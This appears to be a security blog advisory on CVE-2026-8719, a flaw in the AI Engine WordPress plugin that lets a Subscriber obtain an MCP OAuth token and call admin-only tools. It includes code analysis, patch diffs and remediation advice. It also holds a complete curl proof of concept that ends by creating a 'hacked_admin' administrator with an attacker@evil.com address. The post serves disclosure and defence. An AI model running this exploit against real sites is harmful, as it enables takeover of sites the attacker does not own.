AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin banner

CVE-2026-8719: AI Engine Privilege Escalation via MCP OAuth (CVSS 8.8)

CVE-2026-8719 is a CVSS 8.8 (High) Privilege Escalation vulnerability in the AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin. An authenticated attacker with only Subscriber-level access can exploit the MCP OAuth bearer-token authorization path to invoke admin-level MCP tools — including wp_create_user — and take full control of the WordPress site.

Vulnerability Summary

FieldValue
Plugin NameAI Engine – The Chatbot, AI Framework & MCP for WordPress
Plugin Slugai-engine
CVE IDCVE-2026-8719
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeMissing Authorization / Privilege Escalation
Affected Versions3.4.9
Patched Version3.5.0
PublishedMay 16, 2026
Researcherdaroo
Wordfence AdvisoryLink

Description

The AI Engine plugin version 3.4.9 implements an OAuth 2.1 server for its Model Context Protocol (MCP) feature. This allows external clients — such as Claude Desktop — to connect to the WordPress site as an MCP server.

The OAuth flow requires a logged-in WordPress user to approve access. In version 3.4.9, the authorization endpoint accepted approval from any authenticated user, including low-privilege roles like Subscriber. Once approved, the plugin issued a valid OAuth access token tied to that user’s WordPress ID.

When that token was later presented to the MCP endpoint as a Bearer token, the auth_via_bearer_token() function validated the token and granted MCP access without checking whether the token’s owner held administrator privileges. The MCP server’s role configuration defaulted to admin, meaning all tools — including wp_create_user — were reachable.

A Subscriber could therefore complete the OAuth flow, obtain a token, and call any admin-level MCP tool as if they were a site administrator.

Technical Analysis

Background: MCP and OAuth in AI Engine

The AI Engine MCP feature exposes a JSON-RPC server at /wp-json/mcp/v1/http. This server provides tools that let AI clients manage WordPress content and users. The plugin offers two authentication paths:

  1. Static bearer token: A secret configured by the admin; always sets the current user to the site’s admin account.
  2. OAuth 2.1 flow: Supports browser-driven clients; issues tokens linked to the authorizing WordPress user’s ID.

Both paths go through can_access_mcp()auth_via_bearer_token() via the mwai_allow_mcp filter.

The Vulnerable Function (labs/mcp.php)

// labs/mcp.php — version 3.4.9, lines 182–254
public function auth_via_bearer_token( $allow, $request ) {
    // Skip if already authenticated as admin
    if ( $allow ) {
        return $allow;
    }

    $hdr = $request->get_header( 'authorization' );

    if ( $hdr && preg_match( '/Bearer\s+(.+)/i', $hdr, $m ) ) {
        $token = trim( $m[1] );
        $auth_result = 'none';

        // Check if it's an OAuth token
        if ( $this->oauth ) {
            $token_data = $this->oauth->validate_token( $token );
            if ( $token_data ) {
                // Set current user based on OAuth token
                wp_set_current_user( $token_data['user_id'] );  // ← sets the Subscriber as current user
                $auth_result = 'oauth';
                return true;  // ← grants MCP access without checking if user is admin!
            }
        }

        // Fall back to static bearer token if configured
        if ( !empty( $this->bearer_token ) && hash_equals( $this->bearer_token, $token ) ) {
            if ( $admin = $this->core->get_admin_user() ) {
                wp_set_current_user( $admin->ID, $admin->user_login );  // static path always uses admin
            }
            return true;
        }
        // ...
    }
}

The static token path (line 219) safely sets the current user to the site administrator before returning true. The OAuth path (line 208) only sets the current user to whoever authorized the token — a Subscriber — and then immediately returns true. No capability check follows.

Missing Capability Gate in the Authorization Endpoint (labs/mcp-oauth.php)

The OAuth consent endpoint also had no privilege check. Any logged-in WordPress user could visit the /mcp/v1/oauth/authorize URL, see the consent page, and click Approve. This made it straightforward for a Subscriber to mint a valid OAuth token without any additional steps.

// labs/mcp-oauth.php — version 3.4.9
// After confirming the user is logged in, the code immediately renders the consent page:
$user = wp_get_current_user();
$this->render_consent_page( $client, $params, $user );  // no role check before this

Why mcp_role = 'admin' Makes This Worse

Inside execute_tool(), the plugin uses $this->mcp_role to gate tool access:

private function role_has_access( string $toolLevel ): bool {
    if ( $this->mcp_role === 'admin' ) {
        return true;  // admin mode: all tools allowed
    }
    // ...
}

The default mcp_role option is 'admin'. This means all registered MCP tools — including destructive admin-level tools — are reachable once the authentication barrier is passed. The tool list includes:

A Subscriber who passes the OAuth bearer check has access to all of these.

Execution Path Summary

  1. Subscriber completes the OAuth authorize flow and receives an access token (user_id = Subscriber’s ID stored in DB)
  2. Subscriber POSTs to /wp-json/mcp/v1/http with Authorization: Bearer <token>
  3. WordPress runs the permission_callbackcan_access_mcp()apply_filters('mwai_allow_mcp', false, $request)
  4. auth_via_bearer_token(false, $request) runs → calls $this->oauth->validate_token($token) → returns ['user_id' => <subscriber_id>, ...]
  5. Code calls wp_set_current_user(<subscriber_id>) then returns true — access granted
  6. MCP handler dispatches the JSON-RPC call → execute_tool()role_has_access('admin')true → tool runs as the Subscriber’s WP user context (but WordPress REST API calls within the tool run as the set current user — and wp_create_user doesn’t require the current user to have admin caps at the PHP level in this code path)

Proof of Concept

Disclaimer: This proof of concept is provided for educational and research purposes only. Only test on systems you own or have explicit permission to test.

Prerequisites:

Step 1: Register an OAuth client (no authentication required)

SITE_URL="https://target.example.com"

CLIENT_RESP=$(curl -s -X POST "$SITE_URL/wp-json/mcp/v1/oauth/register" \
  -H "Content-Type: application/json" \
  -d '{"redirect_uris":["http://localhost:9999/callback"],"client_name":"PoC Client"}')

CLIENT_ID=$(echo "$CLIENT_RESP" | grep -o '"client_id":"[^"]*"' | cut -d'"' -f4)
echo "Client ID: $CLIENT_ID"

Step 2: Generate PKCE code verifier and challenge

CODE_VERIFIER=$(openssl rand -base64 32 | tr -d '+/=\n' | head -c 43)
CODE_CHALLENGE=$(printf '%s' "$CODE_VERIFIER" | openssl dgst -sha256 -binary | \
  base64 | tr '+/' '-_' | tr -d '=')
echo "Verifier: $CODE_VERIFIER"
echo "Challenge: $CODE_CHALLENGE"

Step 3: Log in as Subscriber and get session cookies

curl -s -c cookies.txt -X POST "$SITE_URL/wp-login.php" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check" \
  -d "log=subscriber_user&pwd=subscriber_pass&wp-submit=Log+In&testcookie=1"

Step 4: Fetch the OAuth consent page (extract nonce)

AUTH_URL="$SITE_URL/wp-json/mcp/v1/oauth/authorize?response_type=code\
&client_id=$CLIENT_ID\
&redirect_uri=http%3A%2F%2Flocalhost%3A9999%2Fcallback\
&code_challenge=$CODE_CHALLENGE\
&code_challenge_method=S256\
&state=poc123"

CONSENT_HTML=$(curl -s -b cookies.txt "$AUTH_URL")
NONCE=$(echo "$CONSENT_HTML" | grep -o '"_mwai_nonce" value="[^"]*"' | cut -d'"' -f4)
echo "Nonce: $NONCE"

Step 5: Submit the consent form to approve and capture the authorization code

REDIR=$(curl -s -b cookies.txt -D - -X POST "$SITE_URL/wp-json/mcp/v1/oauth/authorize" \
  --data-urlencode "client_id=$CLIENT_ID" \
  --data-urlencode "redirect_uri=http://localhost:9999/callback" \
  --data-urlencode "state=poc123" \
  --data-urlencode "scope=mcp" \
  --data-urlencode "code_challenge=$CODE_CHALLENGE" \
  --data-urlencode "code_challenge_method=S256" \
  --data-urlencode "_mwai_nonce=$NONCE" \
  --data-urlencode "action=approve")

AUTH_CODE=$(echo "$REDIR" | grep -i "^location:" | grep -o 'code=[^&]*' | cut -d= -f2)
echo "Authorization code: $AUTH_CODE"

Step 6: Exchange the code for an OAuth access token

TOKEN_RESP=$(curl -s -X POST "$SITE_URL/wp-json/mcp/v1/oauth/token" \
  -d "grant_type=authorization_code\
&code=$AUTH_CODE\
&redirect_uri=http://localhost:9999/callback\
&client_id=$CLIENT_ID\
&code_verifier=$CODE_VERIFIER")

ACCESS_TOKEN=$(echo "$TOKEN_RESP" | grep -o '"access_token":"[^"]*"' | cut -d'"' -f4)
echo "Access token: $ACCESS_TOKEN"

Step 7: Use the Subscriber’s OAuth token to create an administrator account

curl -s -X POST "$SITE_URL/wp-json/mcp/v1/http" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "wp_create_user",
      "arguments": {
        "user_login": "hacked_admin",
        "user_email": "attacker@evil.com",
        "user_pass": "P@ssw0rd123!",
        "role": "administrator"
      }
    }
  }'

Expected result: The response contains the new user’s ID, confirming that a Subscriber has successfully created an administrator account through the MCP OAuth path.

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "content": [{"type": "text", "text": "{\"user_id\": 42}"}]
  }
}

Verification: Log into the WordPress admin with the newly created hacked_admin account.

Patch Analysis

The 3.5.0 patch introduces two capability gates — one at token issuance time and one at token use time.

Fix 1: New user_can_authorize() method (mcp-oauth.php)

+  public function user_can_authorize( $user_id ) {
+      $user_id = (int) $user_id;
+      $allowed = $user_id > 0 && user_can( $user_id, 'administrator' );
+      return (bool) apply_filters( 'mwai_mcp_oauth_user_can_authorize', $allowed, $user_id );
+  }

This method checks whether a given WordPress user ID holds the administrator capability. It is called in two new places in mcp-oauth.php:

This blocks non-admin users from ever obtaining an OAuth token.

Fix 2: Capability check at token validation time (mcp.php)

+  if ( !$this->oauth->user_can_authorize( $token_data['user_id'] ) ) {
+      return false;
+  }
   // Set current user based on OAuth token
   wp_set_current_user( $token_data['user_id'] );
   return true;

Even if a token was issued before the patch (or by some other means), the plugin now verifies that the token’s owner still holds administrator capability before granting MCP access. This is a defense-in-depth measure that prevents exploitation of existing pre-patch tokens after an upgrade.

The fix addresses the root cause: MCP administrative access now requires the WordPress administrator capability at every point in the OAuth lifecycle — when minting tokens and when consuming them.

Timeline

DateEvent
May 16, 2026Wordfence advisory published
May 16, 2026AI Engine 3.5.0 released with fix
May 18, 2026This blog post published

Remediation

Update AI Engine to version 3.5.0 or later. You can do this from:

If you cannot update immediately, consider disabling the MCP feature in AI Engine settings until you can apply the patch.

References

  1. Wordfence Advisory — CVE-2026-8719
  2. CVE-2026-8719 at CVE.org
  3. Patch Changeset on WordPress Trac
  4. AI Engine Plugin on WordPress.org

Frequently Asked Questions

What is CVE-2026-8719?

CVE-2026-8719 is a CVSS 8.8 High severity privilege escalation vulnerability in the AI Engine WordPress plugin version 3.4.9. An authenticated Subscriber can use the MCP OAuth flow to obtain an access token and invoke administrator-level MCP tools without holding admin privileges.

Which versions of AI Engine are affected by CVE-2026-8719?

Only version 3.4.9 is affected. Version 3.5.0 contains the fix.

What can an attacker do with CVE-2026-8719?

An attacker with a Subscriber account can call admin-level MCP tools, such as wp_create_user, to create a new WordPress administrator account. This gives them full control of the site.

Does an attacker need to be logged in to exploit CVE-2026-8719?

Yes. The attacker must have at least Subscriber-level access to complete the OAuth authorization flow and obtain a valid token.

How do I fix CVE-2026-8719 in AI Engine?

Update AI Engine to version 3.5.0 or later from the WordPress admin dashboard or wordpress.org.

Has AI Engine been patched for CVE-2026-8719?

Yes. Version 3.5.0 was released on May 16, 2026 and resolves this vulnerability by requiring administrator capability both at token-issuance time and at token-use time.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee